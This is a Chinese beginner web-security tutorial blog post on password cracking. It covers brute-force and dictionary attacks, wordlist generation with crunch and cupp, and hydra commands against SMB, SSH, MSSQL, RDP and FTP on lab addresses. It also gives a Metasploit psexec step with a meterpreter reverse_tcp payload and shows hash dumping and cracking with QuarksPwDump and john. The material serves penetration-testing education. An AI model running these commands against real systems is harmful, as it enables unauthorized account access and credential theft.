口令破解(web安全入门07)

一、口令破解

1.1 口令安全概述

现在很多地方以用户名(账户)和口令(密码)作为鉴权的方式,口令(密码)就意味着访

问权限。例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等等。

1.2 口令安全现状

1、弱口令

类似 123456、654321、admin123 等这些常见的弱密码

2、默认口令

很多应用或者系统存在默认口令。比如 phpstudy 的 mysql 数据库默认账密[root/root],

Tomcat 管理控制台默认账密[tomcat/tomcat]等。

3、明文传输

比如 HTTP|FTP|TELNET 等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。

这样的服务,有嗅探的风险。

1.3 破解方式

1.3.1 在线破解方式

账密,需要认证

hydra

-l 指定一个用户名

-p 指定一个密码

-P 指定密码字典

-L 指定用户名字典

-vV 显示爆破细节

-o 保存爆破结果

-f 找到正确的密码就停止爆破

-t 线程

-e

n null

s same

r 反向

用户名未知,密码未知

用户名已知,密码未知

用户名未知,密码已知

1.3.2 离线破解方式

密文,还原成明文的过程

二、暴力破解

暴力破解就是利用所有可能的字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根

据运算能力,如果能够承受的起时间成本的话,最终会爆破出密码。下表根据不同的位数生

成密码的空间大小。

字符集 密码位数 密码空间

[0-9] 8 位 10^8=100000000

[0-9][a-z] 8 位 36^8=2821109907456

[0-9][a-z] 1 到 8 位

工具:crunch(kali 自带)

[crunch 1 8 1234567890abcdefghijklmnopqrstuvwxyz]

在这里插入图片描述

三、字典破解

如果能通过比较合理的条件,删选或者滤掉一些全字符组合内容,就会打幅度降低爆破的成

本。我们把筛选出来的密码组成特定的字典。用字典爆破密码也是可以的,但是这样可能会

漏掉真正的密码。密码字典大致分为以下几大类

3.1 弱口令字典

比如 123456,admin 等这样的默认口令或弱口令

3.2 社工字典

人在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见

的密码组合“名字+生日”, [zhangsan1992]

社工字典更具针对性,准确率也比较高。

我们可以根据个人信息生成密码字典。可以使用 cupp 工具,但是 cupp 工具是国外人开发

apt-get update 更新软件列表

apt-get install cupp

cupp -i

3.3 字符集字典

如果能确定密码的字符集合,也将大大降低爆破的成本。

1、真空密码字典生成器

2、crunch(kali 自带)

是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文

件。

使用 crunch 工具生成的密码可以输出到屏幕,保存文件或另一个程序。尤其是渗透测试需

要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重

要的作用。

⑴查看帮助

man crunch > crunch.help

⑵命令格式

crunch [] [options]

⑶参数说明

min-len 设定密码的最小长度(必选)

max-len 设定密码的最大长度(必选)

charset string 字符集

oprions

-b 指定文件输出的大小,避免字典文件过大

-c 指定文件输出的行数,记包含密码的个数

-d 限制相同元素出现的次数

-e 定义停止字符,即到该字符串就停止生成

-f 调用库文件(/usr/share/crunch/charset.lst)

-i 改变输出格式,即 aaa,aab -> aaa,baa

-o 将密码保存到指定文件

-q 读取密码文件,即读取 pass.txt

-r 定义重复一个字符串就重新开始

-s 指定一个开始的字符

-t 指定密码输出的格式

-u 禁止打印百分比

-z 压缩生成的字典文件,支持 gzip,bzip2,lzma,7z

-l 生成特殊字符

-p 指定生成元素

⑷查看库文件

cat /usr/share/crunch/charset.lst

⑸特殊字符

% 代表数字

^ 代表特殊符号

@ 代表小写字母

, 代表大写字母

3、生成密码字典

⑴生成 1-8 位密码字典,字符集合为小写字母,从 a 开始到 zzzzzzzz 结束

crunch 1 8

⑵生成 1-6 位的密码字典,字符集合为[abcdefg],从 a 开始到 gggggg 结束

crunch 1 6 abcdefg

⑶生成指定字符串,比如生日的日期

crunch 8 8 -t 199307%% -e 19930731

⑷生成元素的组合,比如 123.com

crunch 7 7 -t %%%.com -s 111.com -e 123.com

⑸在字典中输出特殊字符

crunch 3 3 abc -t @@@ -l @aa

⑹以元素组合生成字典

[zhangsan|1993|0701]

crunch 4 4 -P zhangsan 1993 0701

⑺保存字典文件

crunch 11 11 -t 1700010%%%% -b 20mb -o START

⑻自定义字符集合

例如:编辑 charset.lst 文件,在文件中加一行内容,test = 123

创建自定义字符集合[*.com] 字典文件

crunch 5 5 -f charset.lst test -t @.com

3.4 简单介绍字典

子域名字典

默认账号密码字典

文件路径字典

日志文件

Web 目录

常用变量名字典

常用文件名字典

四、Windows 口令破解

4.1 windows 口令远程爆破

1、hydra(九头蛇)

hydra -l administrator -P …/dic/pwd.dic 192.168.1.200 smb

或者

hydra -l administrator -P …/dic/pwd.dic smb://192.168.1.200

hydra -L …/dic/user.dic -P …/dic/pwd.dic 192.168.1.200 smb

hydra -l administrator -P …/dic/pwd.dic smb://192.168.1.200 -vV -f -e nsr

2、知道用户名、密码之后用 msf 远程连接

msfconsole

use exploit/windows/smb/psexec_psh

set payload windows/x64/meterpreter/reverse_tcp

show options

exploit

4.2 windows 账户 hash 值破解(离线爆破)

除了可以远程爆破 windows 密码,我们还可以从本地破解 windows 密码。本地 Windows 账

户破解主要有两种方式

1、从内存中读取 windows 密码

我们可以用 getpass 直接从 Windows 系统内存中读取用户数据。

2、Windows hash 值破解

Windows hash 值破解一共有两步操作。

首先我们使用 QuarkPwDump 工具读取(导出)Windows 账户密码 hash 值

C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o win2008.hash

然后在使用 john 工具破解

john win2k8.hash --format=NT 使用默认字典

john win2k8.hash --format=NT --wordlist=/root/dic/winPass.dic

john win2k8.hash --show --format=NT

五、linux 口令破解

linux 口令破解,也分远程破解和和本地破解。

远程破解主要是爆破 ssh 服务,属于在线密码攻击。

本地破解需要拿到 linux 的 shadow 文件,进行 hash 值破解,属于离线密码攻击。

破解 ssh 服务

hydra -l root -P …/dic/pwd.dic ssh://192.168.1.200 -vV -f -e nsr

hydra -L /root/dic/user.dic -P /root/dic/winPass.dic 127.0.0.1 ssh -e nsr -vV -o 127.ssh

本地 shadow 文件破解

我们可以使用 john 工具,破解 shadow 密码文件,破解的时候需要准备一个密码字典。

复制一份 shadow 文件

john shadow

john shadow --show

六、网络服务口令破解

1、破解 MSSQL 口令

hydra -l sa -P /root/dic/test_pwd.dic 192.168.1.150 mssql -vV

2、破解 RDP 口令

hydra -l administrator -P /root/dic/test_pwd.dic 192.168.1.150 rdp -vV

3、破解 FTP 口令

hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 192.168.1.150 ftp -vV

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值